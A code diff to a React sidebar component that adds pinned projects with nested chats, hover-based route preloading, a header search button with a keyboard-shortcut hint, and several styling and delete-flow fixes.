   label,
@@ -221,6 +291,7 @@ function NavItem({
   className,
   spinner,
   tooltip,
+  onIntent,
 }: {
   icon: typeof ZapIcon;
   label: string;
@@ -231,6 +302,7 @@ function NavItem({
   dataTour?: string;
   className?: string;
   spinner?: boolean;
+  onIntent?: () => void;
   // Overrides the hover tooltip (defaults to `label`). Used to explain why a
   // disabled item (e.g. Train/Export on a chat-only host) is greyed out.
   tooltip?: string;
@@ -242,12 +314,14 @@ function NavItem({
           tooltip={tooltip ?? label}
           disabled={disabled}
           onClick={onClick}
+          onPointerEnter={disabled ? undefined : onIntent}
+          onFocus={disabled ? undefined : onIntent}
           isActive={active}
           data-tour={dataTour}
           className="sidebar-nav-btn h-[33px] rounded-full gap-[8.5px] pl-3 pr-2.5 font-medium group-data-[collapsible=icon]:px-2.5 group-data-[collapsible=icon]:!w-[32px] group-data-[collapsible=icon]:mx-auto"
         >
           <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-icon! shrink-0 group-hover/menu-button:animate-icon-pop" />
-          <span className="text-[14.5px] leading-[19px] tracking-nav">{label}</span>
+          <span className="text-ui-14p5 leading-ui-19 tracking-nav">{label}</span>
           {spinner && (
             <Spinner className="ml-auto size-3.5 shrink-0 text-muted-foreground group-data-[collapsible=icon]:hidden" />
           )}
@@ -265,8 +339,13 @@ function NavItem({
 export function AppSidebar() {
   const t = useT();
   const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle();
+  const sidebarMenu = useAppearanceCustomStore(
+    (s) => s.customization.sidebarMenu,
+  );
   const [usesCustomTitlebar] = useState(shouldUseCustomWindowTitlebar);
   const [usesNativeMacTitlebar] = useState(shouldUseNativeMacWindowTitlebar);
+  // Mac uses Cmd, others use Ctrl. Not Tauri-gated, so it's right on web too.
+  const [isMacPlatform] = useState(() => getClientPlatform().includes("mac"));
   const { pathname, search } = useRouterState({
     select: (s) => ({
       pathname: s.location.pathname,
@@ -275,6 +354,7 @@ export function AppSidebar() {
   });
   const { togglePinned, isMobile, setOpenMobile } = useSidebar();
   const navigate = useNavigate();
+  const router = useRouter();
 
   // Web update detection: `webUpdate` is non-null only when the installed
   // (PyPI) version is behind the latest release, so the card is hidden by
@@ -359,7 +439,11 @@ export function AppSidebar() {
   const activeProjectId = isChatRoute
     ? ((search.project as string | undefined) ?? null)
     : null;
-  const { items: allChatItems } = useChatSidebarItems({
+  const {
+    items: allChatItems,
+    archivedItems: archivedChatItems,
+    loaded: chatItemsLoaded,
+  } = useChatSidebarItems({
     enabled: !isStudioRoute,
     requireMessages: false,
   });
@@ -377,14 +461,63 @@ export function AppSidebar() {
       ),
     [allChatItems, pinnedIdSet],
   );
-  // Pinned chats, in pin order (most recent first).
+  const [pinnedOpen, setPinnedOpen] = useState(true);
+  // "Projects" section: projects the user pinned, in pin order (most recent
+  // first). The section only appears once at least one project is pinned.
+  const pinnedProjectIds = usePinnedProjectsStore((s) => s.pinnedIds);
+  const unpinProject = usePinnedProjectsStore((s) => s.unpin);
+  const pinnedProjectRecords = useMemo(() => {
+    const byId = new Map(projects.map((p) => [p.id, p]));
+    return pinnedProjectIds
+      .map((id) => byId.get(id))
+      .filter((p): p is ProjectRecord => Boolean(p));
+  }, [projects, pinnedProjectIds]);
+  // Pinned chats, in pin order (most recent first). Includes chats that live
+  // inside a project: pinning promotes a chat into this list, and it is removed
+  // from the project's nested list below so it never shows twice.
   const pinnedChatItems = useMemo(() => {
     const byId = new Map(allChatItems.map((item) => [item.id, item]));
     return pinnedIds
       .map((id) => byId.get(id))
       .filter((item): item is SidebarItem => Boolean(item));
   }, [allChatItems, pinnedIds]);
-  const [pinnedOpen, setPinnedOpen] = useState(true);
+  // A pinned project reveals its recent chats (most recent first) nested below.
+  // Pinned chats are excluded here since they render in the pinned-chats list.
+  const chatsByProjectId = useMemo(() => {
+    const map = new Map<string, SidebarItem[]>();
+    for (const item of allChatItems) {
+      if (!item.projectId) continue;
+      if (pinnedIdSet.has(item.id)) continue;
+      const list = map.get(item.projectId);
+      if (list) list.push(item);
+      else map.set(item.projectId, [item]);
+    }
+    for (const list of map.values())
+      list.sort((a, b) => b.updatedAt - a.updatedAt);
+    return map;
+  }, [allChatItems, pinnedIdSet]);
+  // Default expanded (not collapsed); the row toggles this. Show-more reveals
+  // chats past the first PINNED_PROJECT_CHAT_LIMIT.
+  const [collapsedProjectIds, setCollapsedProjectIds] = useState<Set<string>>(
+    () => new Set(),
+  );
+  const [expandedChatProjectIds, setExpandedChatProjectIds] = useState<
+    Set<string>
+  >(() => new Set());
+  const toggleProjectCollapsed = (id: string) =>
+    setCollapsedProjectIds((prev) => {
+      const next = new Set(prev);
+      if (next.has(id)) next.delete(id);
+      else next.add(id);
+      return next;
+    });
+  const toggleProjectShowAll = (id: string) =>
+    setExpandedChatProjectIds((prev) => {
+      const next = new Set(prev);
+      if (next.has(id)) next.delete(id);
+      else next.add(id);
+      return next;
+    });
   const storeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
   const setActiveThreadId = useChatRuntimeStore((s) => s.setActiveThreadId);
   const anyChatRunning = useChatRuntimeStore((s) =>
@@ -553,7 +686,14 @@ export function AppSidebar() {
   useEffect(() => {
     if (!pendingRename) return;
     const match = allChatItems.find((i) => i.id === pendingRename.id);
-    if (match && match.title === pendingRename.title) setPendingRename(null);
+    if (!match || match.title !== pendingRename.title) return;
+    queueMicrotask(() => {
+      setPendingRename((current) =>
+        current?.id === pendingRename.id && current.title === pendingRename.title
+          ? null
+          : current,
+      );
+    });
   }, [allChatItems, pendingRename]);
   const [creatingProject, setCreatingProject] = useState(false);
   const [projectNameDraft, setProjectNameDraft] = useState("");
@@ -651,18 +791,14 @@ export function AppSidebar() {
     useState<DeleteTarget | null>(null);
   const [deleteProjectFiles, setDeleteProjectFiles] = useState(false);
 
-  useEffect(() => {
-    if (confirmingDelete?.kind !== "project") {
-      setDeleteProjectFiles(false);
-    }
-  }, [confirmingDelete]);
-
   async function commitDelete() {
     const target = confirmingDelete;
     if (!target) return;
     const shouldDeleteProjectFiles =
       target.kind === "project" && deleteProjectFiles;
     setConfirmingDelete(null);
+    // Reset so the next project delete never inherits this checkbox.
+    setDeleteProjectFiles(false);
     if (target.kind === "chat") {
       await deleteChatWithCleanup(target.item);
       return;
@@ -672,7 +808,20 @@ export function AppSidebar() {
         await deleteChatProject(target.project.id, {
           deleteFiles: shouldDeleteProjectFiles,
         });
-        if (activeProjectId === target.project.id) {
+        // Refresh chat history so the project's reparented chats don't linger
+        // as stale top-level rows.
+        notifyChatHistoryUpdated();
+        // activeProjectId is only the ?project= param; on a thread-only URL the
+        // project is resolved from the thread into the runtime store, so check
+        // that too or we strand the user on a now-deleted thread. Only redirect
+        // from a chat route: the runtime store value can be stale elsewhere.
+        const runtimeProjectId =
+          useChatRuntimeStore.getState().activeProjectId;
+        if (
+          isChatRoute &&
+          (activeProjectId === target.project.id ||
+            runtimeProjectId === target.project.id)
+        ) {
           useChatRuntimeStore.getState().setActiveProjectId(null);
           navigate({ to: "/chat", search: { new: createNavigationNonce() } });
         }
@@ -755,12 +904,15 @@ export function AppSidebar() {
         ? "sidebar-row-action group-hover/project-chat-item:opacity-100 group-hover/project-chat-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
         : "sidebar-row-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto";
     const buttonClass = cn(
-      "sidebar-nav-btn h-[33px] cursor-pointer rounded-full pr-4 text-[14.5px] leading-[19px] tracking-nav font-medium",
+      "sidebar-nav-btn h-[33px] cursor-pointer rounded-full pr-4 text-ui-14p5 leading-ui-19 tracking-nav font-medium",
       // pl-3 (12px) over the content's pl-1.5 (6px) = 18px, aligning the
       // title with the nav items above.
       variant === "project" ? "pl-[39px]" : "pl-3",
+      // Pinned chats carry a chat icon, so add the nav-item icon gap.
+      isPinned && variant !== "project" && "gap-[8.5px]",
       variant === "project"
-        ? "group-hover/project-chat-item:pr-6 group-has-[.sidebar-row-action[data-state=open]]/project-chat-item:pr-6"
+        ? // Room for the hover pin quick-action plus the kebab.
+          "group-hover/project-chat-item:pr-14 group-has-[.sidebar-row-action[data-state=open]]/project-chat-item:pr-8"
         : isPinned
           ? // Pinned rows show an extra unpin button on hover, so reserve more room
             // (pr-8 when the menu is open keeps the unpin button clear of the title).
@@ -787,7 +939,7 @@ export function AppSidebar() {
             aria-label={translate("shell.dialog.renameChat.placeholder")}
             className={cn(
               // No pill or box; edit in place as plain highlighted text.
-              "text-foreground h-[33px] w-full border-0 bg-transparent pr-4 text-[14.5px] leading-[19px] font-medium tracking-nav outline-none",
+              "text-foreground h-[33px] w-full border-0 bg-transparent pr-4 text-ui-14p5 leading-ui-19 font-medium tracking-nav outline-none",
               variant === "project" ? "pl-[39px]" : "pl-3",
             )}
           />
@@ -820,10 +972,43 @@ export function AppSidebar() {
             closeMobileIfOpen();
           }}
         >
+          {isPinned && variant !== "project" && (
+            <HugeiconsIcon icon={BubbleChatIcon} strokeWidth={1.75} className="size-icon! shrink-0" />
+          )}
           <span className="truncate">
             {pendingRename?.id === item.id ? pendingRename.title : item.title}
           </span>
         </SidebarMenuButton>
+        {variant === "project" && (
+          <button
+            type="button"
+            onClick={(e) => {
+              e.stopPropagation();
+              togglePinnedChat(item.id);
+            }}
+            aria-label={isPinned ? "Unpin chat" : "Pin chat"}
+            className="sidebar-row-action is-unpin-action group-hover/project-chat-item:opacity-100 group-hover/project-chat-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
+          >
+            <span className="sidebar-row-action-glyph">
+              <HugeiconsIcon icon={isPinned ? PinOffIcon : PinIcon} strokeWidth={1.75} className="size-icon" />
+            </span>
+          </button>
+        )}
+        {variant === "recent" && isPinned && (
+          <button
+            type="button"
+            onClick={(e) => {
+              e.stopPropagation();
+              togglePinnedChat(item.id);
+            }}
+            aria-label="Unpin chat"
+            className="sidebar-row-action is-unpin-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
+          >
+            <span className="sidebar-row-action-glyph">
+              <HugeiconsIcon icon={PinOffIcon} strokeWidth={1.75} className="size-icon" />
+            </span>
+          </button>
+        )}
         <DropdownMenu>
           <DropdownMenuTrigger asChild>
             <button
@@ -895,11 +1080,7 @@ export function AppSidebar() {
                 <span>Export</span>
               </DropdownMenuSubTrigger>
               <DropdownMenuSubContent sideOffset={8} alignOffset={-4} className="unsloth-plus-menu w-52">
-                {[
-                  { label: "Raw JSONL", fn: exportConversationRawJsonl },
-                  { label: "CSV", fn: exportConversationCsv },
-                  { label: "ShareGPT JSONL", fn: exportConversationShareGPT },
-                ].map(({ label, fn }) => (
+                {CHAT_EXPORT_OPTIONS.map(({ label, format }) => (
                   <DropdownMenuItem
                     key={label}
                     onSelect={async () => {
@@ -907,9 +1088,13 @@ export function AppSidebar() {
                         const ids = item.type === "single"
                           ? [item.id]
                           : (await listStoredChatThreads({ pairId: item.id })).map((t) => t.id);
-                        await Promise.all(ids.map((id) => fn(id)));
-                      } catch {
-                        toast.error("Export failed.");
+                        for (const id of ids) {
+                          await exportConversationByFormat(id, format);
+                        }
+                      } catch (error) {
+                        if (!isDownloadCancelled(error)) {
+                          toast.error("Export failed.");
+                        }
                       }
                     }}
                   >
@@ -917,10 +1102,10 @@ export function AppSidebar() {
                   </DropdownMenuItem>
                 ))}
                 <DropdownMenuSeparator />
-                {/* Bulk export and import live in Settings -> Chat -> Data. */}
+                {/* Bulk export and import live in Settings -> Data. */}
                 <DropdownMenuItem
                   onSelect={() =>
-                    useSettingsDialogStore.getState().openDialog("chat")
+                    useSettingsDialogStore.getState().openDialog("data")
                   }
                 >
                   Export all chats…
@@ -945,28 +1130,6 @@ export function AppSidebar() {
             </DropdownMenuItem>
           </DropdownMenuContent>
         </DropdownMenu>
-        {isPinned ? (
-          <Tooltip>
-            <TooltipPrimitive.Trigger asChild>
-              <button
-                type="button"
-                onClick={(e) => {
-                  e.stopPropagation();
-                  unpinChat(item.id);
-                }}
-                aria-label="Unpin chat"
-                className={cn(actionClass, "is-unpin-action")}
-              >
-                <span className="sidebar-row-action-glyph">
-                  <HugeiconsIcon icon={PinOffIcon} strokeWidth={1.75} className="size-4" />
-                </span>
-              </button>
-            </TooltipPrimitive.Trigger>
-            <TooltipContent side="bottom" sideOffset={6} className="tooltip-compact">
-              Unpin
-            </TooltipContent>
-          </Tooltip>
-        ) : null}
       </SidebarMenuItem>
     );
   }
@@ -1021,40 +1184,70 @@ export function AppSidebar() {
                   aria-disabled={chatDisabled}
                   tabIndex={chatDisabled ? -1 : undefined}
                 >
+                  {/* Logo lockup follows the UI font size at half rate:
+                      base + (root scale - 1) * 8px. Exact base sizes at 16px. */}
                   <img
                     src="/circle-logo-small.png"
                     alt="Unsloth"
-                    className="h-[34px] w-[34px] rounded-full object-cover"
+                    className="h-[calc(26px+0.5rem*var(--ui-font-scale,1))] w-[calc(26px+0.5rem*var(--ui-font-scale,1))] rounded-full object-cover"
                   />
-                  <span className="font-heading text-[21px] font-semibold tracking-[0em] leading-none text-black dark:text-white dark:tracking-[0.02em]">
+                  <span className="font-heading text-[calc(13px+0.5rem*var(--ui-font-scale,1))] font-semibold tracking-[0em] leading-none text-black dark:text-white dark:tracking-[0.02em]">
                     unsloth
                   </span>
-                  <span className="nav-badge ml-0.5 inline-flex items-center justify-center rounded-full border border-nav-beta-border px-[5px] pt-[3px] pb-[2px] text-[8px] font-medium leading-none tracking-[0.04em] text-nav-fg-muted antialiased subpixel-antialiased shadow-[0_1px_2px_rgba(0,0,0,0.06)] dark:shadow-[0_1px_2px_rgba(0,0,0,0.35)]">
+                  <span className="nav-badge ml-0.5 inline-flex items-center justify-center rounded-full border border-nav-beta-border px-[5px] pt-[3px] pb-[2px] text-[calc(0.5rem*var(--ui-font-scale,1))] font-medium leading-none tracking-[0.04em] text-nav-fg-muted antialiased subpixel-antialiased shadow-[0_1px_2px_rgba(0,0,0,0.06)] dark:shadow-[0_1px_2px_rgba(0,0,0,0.35)]">
                     {t("shell.beta")}
                   </span>
                 </Link>
               )}
-              {!isMobile && (
+              <div className="flex items-center gap-0.5">
                 <Tooltip>
                   <TooltipPrimitive.Trigger asChild>
                     <button
                       type="button"
-                      onClick={togglePinned}
-                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-                      aria-label={t("shell.aria.closeSidebar")}
+                      onClick={() => {
+                        useChatSearchStore.getState().open();
+                        closeMobileIfOpen();
+                      }}
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
+                      aria-label={t("shell.navigation.search")}
                     >
-                      <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
+                      <HugeiconsIcon icon={Search01Icon} strokeWidth={1.75} className="size-icon" />
                     </button>
                   </TooltipPrimitive.Trigger>
                   <TooltipContent
                     side="bottom"
                     sideOffset={6}
-                    className="tooltip-compact"
+                    className="tooltip-compact flex items-center gap-1.5"
+                    hidden={isMobile}
                   >
-                    {t("shell.aria.closeSidebar")}
+                    {t("shell.navigation.search")}
+                    <kbd className="rounded bg-black/10 px-1 py-px text-ui-10 font-medium leading-none dark:bg-white/15">
+                      {isMacPlatform ? "⌘K" : "Ctrl+K"}
+                    </kbd>
                   </TooltipContent>
                 </Tooltip>
-              )}
+                {!isMobile && (
+                  <Tooltip>
+                    <TooltipPrimitive.Trigger asChild>
+                      <button
+                        type="button"
+                        onClick={togglePinned}
+                        className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
+                        aria-label={t("shell.aria.closeSidebar")}
+                      >
+                        <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
+                      </button>
+                    </TooltipPrimitive.Trigger>
+                    <TooltipContent
+                      side="bottom"
+                      sideOffset={6}
+                      className="tooltip-compact"
+                    >
+                      {t("shell.aria.closeSidebar")}
+                    </TooltipContent>
+                  </Tooltip>
+                )}
+              </div>
             </div>
             {!isMobile && (
               <div className="relative z-10 hidden group-data-[collapsible=icon]:flex h-[33px] items-center justify-center w-full">
@@ -1063,7 +1256,7 @@ export function AppSidebar() {
                     <button
                       type="button"
                       onClick={togglePinned}
-                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={t("shell.aria.openSidebar")}
                     >
                       <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -1086,8 +1279,10 @@ export function AppSidebar() {
       {/* Uniform pl-1.5 pr-2 keeps every hover pill the same width, inset from the edge. */}
       <SidebarGroup
         className={cn(
-          "group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 pb-px shrink-0",
+          "group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 shrink-0 transition-[padding]",
           showCompactMacBrand ? "pt-0" : "pt-[9px]",
+          // Scrolled: New Chat is pinned, give a little gap below it.
+          scrolled ? "pb-[5px]" : "pb-px",
         )}
       >
         <SidebarGroupContent>
@@ -1120,10 +1315,18 @@ export function AppSidebar() {
                 openNewChat(null);
               }}
             />
+            {/* Search sits in the header when the brand row is shown (mac/web).
+                Hide this row there, but keep it in the collapsed rail. On custom
+                titlebars (win/linux) there's no header button, so keep the row. */}
             <NavItem
               icon={Search01Icon}
               label={t("shell.navigation.search")}
               active={false}
+              className={
+                showSidebarBrand
+                  ? "hidden group-data-[collapsible=icon]:block"
+                  : undefined
+              }
               onClick={() => {
                 useChatSearchStore.getState().open();
                 closeMobileIfOpen();
@@ -1156,6 +1359,18 @@ export function AppSidebar() {
         <SidebarGroup className="group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 py-0 shrink-0">
           <SidebarGroupContent>
             <SidebarMenu>
+              <NavItem
+                icon={DashboardCircleIcon}
+                label={t("shell.navigation.hub")}
+                active={pathname === "/hub" || pathname.startsWith("/hub/")}
+                onClick={() => {
+                  navigate({ to: "/hub" });
+                  closeMobileIfOpen();
+                }}
+                onIntent={() => {
+                  preloadSilently(router.preloadRoute({ to: "/hub" }));
+                }}
+              />
               <NavItem
                 icon={Folder01Icon}
                 label="Projects"
@@ -1166,6 +1381,9 @@ export function AppSidebar() {
                   navigate({ to: "/projects" });
                   closeMobileIfOpen();
                 }}
+                onIntent={() => {
+                  preloadSilently(router.preloadRoute({ to: "/projects" }));
+                }}
                 className="group/projects-item relative"
               >
                 <button
@@ -1188,15 +1406,6 @@ export function AppSidebar() {
                   </span>
                 </button>
               </NavItem>
-              <NavItem
-                icon={DashboardCircleIcon}
-                label={t("shell.navigation.hub")}
-                active={pathname === "/hub" || pathname.startsWith("/hub/")}
-                onClick={() => {
-                  navigate({ to: "/hub" });
-                  closeMobileIfOpen();
-                }}
-              />
               {/* Train has a labelled section when expanded; plain icon here only when collapsed. */}
               <NavItem
                 icon={TestTubeOutlineIcon}
@@ -1212,6 +1421,9 @@ export function AppSidebar() {
                   navigate({ to: "/studio" });
                   closeMobileIfOpen();
                 }}
+                onIntent={() => {
+                  preloadSilently(router.preloadRoute({ to: "/studio" }));
+                }}
                 className="hidden group-data-[collapsible=icon]:block"
               />
             </SidebarMenu>
@@ -1241,6 +1453,9 @@ export function AppSidebar() {
                       navigate({ to: "/studio" });
                       closeMobileIfOpen();
                     }}
+                    onIntent={() => {
+                      preloadSilently(router.preloadRoute({ to: "/studio" }));
+                    }}
                   />
                   <NavItem
                     icon={ChefHatIcon}
@@ -1250,6 +1465,16 @@ export function AppSidebar() {
                       navigate({ to: "/data-recipes" });
                       closeMobileIfOpen();
                     }}
+                    onIntent={() => {
+                      preloadSilently(
+                        router.preloadRoute({ to: "/data-recipes" }),
+                      );
+                      preloadSilently(
+                        import("@/features/data-recipes").then((module) =>
+                          module.preloadRecipes(),
+                        ),
+                      );
+                    }}
                   />
                   <NavItem
                     icon={DownloadSquare01Icon}
@@ -1260,6 +1485,14 @@ export function AppSidebar() {
                       navigate({ to: "/export" });
                       closeMobileIfOpen();
                     }}
+                    onIntent={() => {
+                      preloadSilently(router.preloadRoute({ to: "/export" }));
+                      preloadSilently(
+                        import(
+                          "@/features/export/export-navigation-cache"
+                        ).then((module) => module.preloadExportData()),
+                      );
+                    }}
                   />
                 </SidebarMenu>
               </SidebarGroupContent>
@@ -1267,28 +1500,156 @@ export function AppSidebar() {
           </SidebarGroup>
         </Collapsible>
 
-        {/* Pinned chats: own section above Recents */}
-        {!isStudioRoute && !showTrainingRecents && pinnedChatItems.length > 0 && (
-          <Collapsible open={pinnedOpen} onOpenChange={setPinnedOpen} asChild>
-            <SidebarGroup className="group-data-[collapsible=icon]:hidden px-0 py-0">
-              <SidebarGroupLabel className={cn("sidebar-sticky-label sidebar-sticky-label-following", scrolled && "is-scrolled")} asChild>
-                <CollapsibleTrigger className="cursor-pointer flex w-full items-center gap-1 group/sb-collap">
-                  Pinned
-                  <ChevronDown className="size-3.5 opacity-0 transition-[transform,opacity] duration-200 group-hover/sb-collap:opacity-100 group-focus-visible/sb-collap:opacity-100 data-[state=open]:rotate-0 [[data-state=closed]_&]:rotate-[-90deg] [[data-state=closed]_&]:opacity-100" />
-                </CollapsibleTrigger>
-              </SidebarGroupLabel>
-              <CollapsibleContent>
-                <SidebarGroupContent className="pl-1.5 pr-2">
-                  <SidebarMenu>
-                    {pinnedChatItems.map((item) =>
-                      renderChatSidebarItem(item, "recent"),
-                    )}
-                  </SidebarMenu>
-                </SidebarGroupContent>
-              </CollapsibleContent>
-            </SidebarGroup>
-          </Collapsible>
-        )}
+        {/* Pinned: pinned projects (with their chats) and pinned chats */}
+        {!isStudioRoute &&
+          !showTrainingRecents &&
+          (pinnedProjectRecords.length > 0 ||
+            pinnedChatItems.length > 0) && (
+            <Collapsible open={pinnedOpen} onOpenChange={setPinnedOpen} asChild>
+              <SidebarGroup className="group-data-[collapsible=icon]:hidden px-0 py-0">
+                <SidebarGroupLabel className={cn("sidebar-sticky-label sidebar-sticky-label-following", scrolled && "is-scrolled")} asChild>
+                  <CollapsibleTrigger className="cursor-pointer flex w-full items-center gap-1 group/sb-collap">
+                    Pinned
+                    <ChevronDown className="size-3.5 opacity-0 transition-[transform,opacity] duration-200 group-hover/sb-collap:opacity-100 group-focus-visible/sb-collap:opacity-100 data-[state=open]:rotate-0 [[data-state=closed]_&]:rotate-[-90deg] [[data-state=closed]_&]:opacity-100" />
+                  </CollapsibleTrigger>
+                </SidebarGroupLabel>
+                <CollapsibleContent>
+                  <SidebarGroupContent className="pl-1.5 pr-2">
+                    <SidebarMenu>
+                      {pinnedProjectRecords.map((project) => {
+                        const projectChats =
+                          chatsByProjectId.get(project.id) ?? [];
+                        const expanded = !collapsedProjectIds.has(project.id);
+                        const showAll = expandedChatProjectIds.has(project.id);
+                        const visibleChats =
+                          expanded && !showAll
+                            ? projectChats.slice(0, PINNED_PROJECT_CHAT_LIMIT)
+                            : projectChats;
+                        return (
+                        <Fragment key={project.id}>
+                        <SidebarMenuItem
+                          className="group/recent-item relative"
+                        >
+                          <SidebarMenuButton
+                            // Highlight the folder only on the project home; when
+                            // a chat inside it is open, only that chat row is active.
+                            isActive={activeProjectId === project.id && !activeThreadId}
+                            onClick={() => toggleProjectCollapsed(project.id)}
+                            className="sidebar-nav-btn h-[33px] rounded-full gap-[8.5px] pl-3 pr-2.5 font-medium group-hover/recent-item:pr-16 group-has-[.sidebar-row-action[data-state=open]]/recent-item:pr-8"
+                          >
+                            <HugeiconsIcon icon={Folder01Icon} strokeWidth={1.75} className="size-icon! shrink-0" />
+                            <span className="truncate text-ui-14p5 leading-ui-19 tracking-nav">{project.name}</span>
+                          </SidebarMenuButton>
+                          {/* New chat in this project */}
+                          <button
+                            type="button"
+                            aria-label="New chat"
+                            onClick={(e) => {
+                              e.stopPropagation();
+                              openNewChat(project.id);
+                            }}
+                            className="sidebar-row-action is-unpin-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
+                          >
+                            <span className="sidebar-row-action-glyph">
+                              <HugeiconsIcon icon={PencilEdit02Icon} strokeWidth={1.75} className="size-icon" />
+                            </span>
+                          </button>
+                          {/* Project options */}
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <button
+                                type="button"
+                                onClick={(e) => e.stopPropagation()}
+                                aria-label="Project options"
+                                className="sidebar-row-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
+                              >
+                                <span className="sidebar-row-action-glyph">
+                                  <HugeiconsIcon icon={MoreVerticalIcon} strokeWidth={1.75} className="size-icon" />
+                                </span>
+                              </button>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent
+                              side="bottom"
+                              align="start"
+                              sideOffset={0}
+                              className="unsloth-plus-menu menu-flat-destructive w-56"
+                            >
+                              <DropdownMenuItem onSelect={() => openProject(project.id)}>
+                                <HugeiconsIcon icon={Folder01Icon} strokeWidth={1.75} className="size-icon" />
+                                <span>Project home</span>
+                              </DropdownMenuItem>
+                              <DropdownMenuItem onSelect={() => openNewChat(project.id)}>
+                                <HugeiconsIcon icon={PencilEdit02Icon} strokeWidth={1.75} className="size-icon" />
+                                <span>New chat</span>
+                              </DropdownMenuItem>
+                              <DropdownMenuItem
+                                onSelect={() => {
+                                  // Seed the shared draft so the dialog opens
+                                  // with the current name, not stale text.
+                                  setRenameDraft(project.name);
+                                  setRenamingTarget({
+                                    kind: "project",
+                                    project,
+                                    current: project.name,
+                                  });
+                                }}
+                              >
+                                <HugeiconsIcon icon={Edit03Icon} strokeWidth={1.75} className="size-icon" />
+                                <span>Rename project</span>
+                              </DropdownMenuItem>
+                              <DropdownMenuItem onSelect={() => unpinProject(project.id)}>
+                                <HugeiconsIcon icon={PinOffIcon} strokeWidth={1.75} className="size-icon" />
+                                <span>Unpin project</span>
+                              </DropdownMenuItem>
+                              <DropdownMenuSeparator />
+                              <DropdownMenuItem
+                                variant="destructive"
+                                onSelect={() => {
+                                  // Start each delete with the file toggle off:
+                                  // Cancel closes programmatically and skips the
+                                  // dialog onOpenChange reset.
+                                  setDeleteProjectFiles(false);
+                                  setConfirmingDelete({ kind: "project", project });
+                                }}
+                              >
+                                <HugeiconsIcon icon={Delete02Icon} strokeWidth={1.75} className="size-icon" />
+                                <span>Delete project</span>
+                              </DropdownMenuItem>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </SidebarMenuItem>
+                        {expanded &&
+                          visibleChats.map((chat) =>
+                            renderChatSidebarItem(chat, "project"),
+                          )}
+                        {expanded &&
+                          projectChats.length > PINNED_PROJECT_CHAT_LIMIT && (
+                            <SidebarMenuItem>
+                              <SidebarMenuButton
+                                onClick={() => toggleProjectShowAll(project.id)}
+                                // Force the muted token: .sidebar-nav-btn's own
+                                // color rule outweighs a plain text utility, so
+                                // Show more would otherwise match the chat rows.
+                                className="sidebar-nav-btn h-[30px] rounded-full pl-9 pr-4 font-medium text-nav-fg-muted!"
+                              >
+                                <span className="text-ui-13 leading-ui-18 tracking-nav">
+                                  {showAll ? "Show less" : "Show more"}
+                                </span>
+                              </SidebarMenuButton>
+                            </SidebarMenuItem>
+                          )}
+                        </Fragment>
+                        );
+                      })}
+                      {pinnedChatItems.map((item) =>
+                        renderChatSidebarItem(item, "recent"),
+                      )}
+                    </SidebarMenu>
+                  </SidebarGroupContent>
+                </CollapsibleContent>
+              </SidebarGroup>
+            </Collapsible>
+          )}
 
         {!isStudioRoute && !showTrainingRecents && (
           <Collapsible open={chatOpen} onOpenChange={setChatOpen} asChild>
@@ -1306,6 +1667,16 @@ export function AppSidebar() {
                       renderChatSidebarItem(item, "recent"),
                     )}
                   </SidebarMenu>
+                  {/* "No chats yet" only when there is truly no history:
+                      project-scoped and archived threads leave Recents empty
+                      but still count as existing chats. */}
+                  {chatItemsLoaded &&
+                    allChatItems.length === 0 &&
+                    archivedChatItems.length === 0 && (
+                      <p className="px-3 py-2 text-xs text-muted-foreground">
+                        {t("shell.navigation.noChatsYet")}
+                      </p>
+                    )}
                 </SidebarGroupContent>
               </CollapsibleContent>
             </SidebarGroup>
@@ -1340,7 +1711,7 @@ export function AppSidebar() {
                       >
                         <SidebarMenuButton
                           isActive={isActiveRun}
-                          className="sidebar-nav-btn h-auto flex-col items-start gap-0.5 py-[5px] rounded-[14px] pl-3 pr-7 text-[14.5px] tracking-nav font-medium"
+                          className="sidebar-nav-btn h-auto flex-col items-start gap-0.5 py-[5px] rounded-[14px] pl-3 pr-7 text-ui-14p5 tracking-nav font-medium"
                           onClick={() => {
                             setSelectedHistoryRunId(run.id);
                             // From Recipes/Export, jump to Train so the run's
